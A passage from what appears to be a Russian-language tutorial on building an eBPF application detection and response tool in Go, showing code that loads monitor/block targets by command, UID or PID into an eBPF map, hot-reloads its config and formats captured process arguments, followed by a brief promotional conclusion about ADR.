} else if targetType == 'u' || targetType == 'p' { // UID or PID
var id uint32
fmt.Sscanf(value, "%d", &id)
binary.LittleEndian.PutUint32(key.Data[:4], id)
} else {
return key, fmt.Errorf("unknown target type: %c", targetType)
}
return key, nil
}
func NewTargetValue(monitor, block bool) uint8 {
var value uint8
if monitor {
value |= 1 << 1 // Bit 1 = Monitor
}
if block {
value |= 1 // Bit 0 = Block
}
return value
}
func populateMap(targetsMap *ebpf.Map, config Config, currentTargets map[TargetKey]uint8) map[TargetKey]uint8 {
if currentTargets == nil {
currentTargets = make(map[TargetKey]uint8)
}
newTargets := make(map[TargetKey]uint8)
for _, target := range config.Targets {
var targetType byte
switch target.Type {
case "command":
targetType = 'c'
case "uid":
targetType = 'u'
case "pid":
targetType = 'p'
default:
log.Printf("Unknown target type: %s", target.Type)
continue
}
key, err := NewTargetKey(targetType, target.Value)
if err != nil {
log.Printf("Failed to create key for target %+v: %v", target, err)
continue
}
value := NewTargetValue(target.Actions.Monitor, target.Actions.Block)
newTargets[key] = value
if err := targetsMap.Put(key, value); err != nil {
log.Printf("Failed to put key-value pair into eBPF map: %v", err)
}
}
for key := range currentTargets {
if _, exists := newTargets[key]; !exists {
if err := targetsMap.Delete(key); err != nil && !errors.Is(err, ebpf.ErrKeyNotExist) {
log.Printf("Failed to delete key %s from eBPF map: %v", key, err)
}
}
}
return newTargets
}
func watchConfig(configFile string, targetsMap *ebpf.Map, currentTargets map[TargetKey]uint8) {
watcher, err := fsnotify.NewWatcher()
if err != nil {
log.Fatalf("Failed to create file watcher: %v", err)
}
defer watcher.Close()
if err := watcher.Add(configFile); err != nil {
log.Fatalf("Failed to watch config file: %v", err)
}
for {
select {
case event, ok := <-watcher.Events:
if !ok {
return
}
if event.Op.Has(fsnotify.Write) {
log.Println("Config file changed, reloading...")
time.Sleep(1 * time.Second)
var config Config
if err := loadConfig(event.Name, &config); err != nil {
log.Printf("Error reloading config: %v", err)
continue
}
populateMap(targetsMap, config, currentTargets)
}
case err := <-watcher.Errors:
log.Printf("File watcher error: %v", err)
}
}
}
func printArgs(e *Event) string {
argsCounter := 0
args := ""
for i := 0; i < int(e.ArgSize) && argsCounter < int(e.ArgsCount); i++ {
if e.Args[i] == 0 {
argsCounter++
if argsCounter == int(e.ArgsCount) {
break
}
args += " "
continue
}
args += string(e.Args[i])
}
if e.ArgsCount == MaxArgs+1 {
args += " ..."
}
return args
}
Компиляция #
Теперь мы можем сгенерировать код eBPF и компилировать приложение.
Заключение #
По мере того как киберугрозы продолжают развиваться, сетевых мер AppSec больше недостаточно для защиты критически важных приложений и данных. Технология ADR предлагает надёжный, интеллектуальный и упреждающий подход к безопасности приложений. Понимая природу современных атак и используя передовые решения ADR, организации могут значительно укрепить свою защиту, минимизировать риски и опережать возникающие угрозы.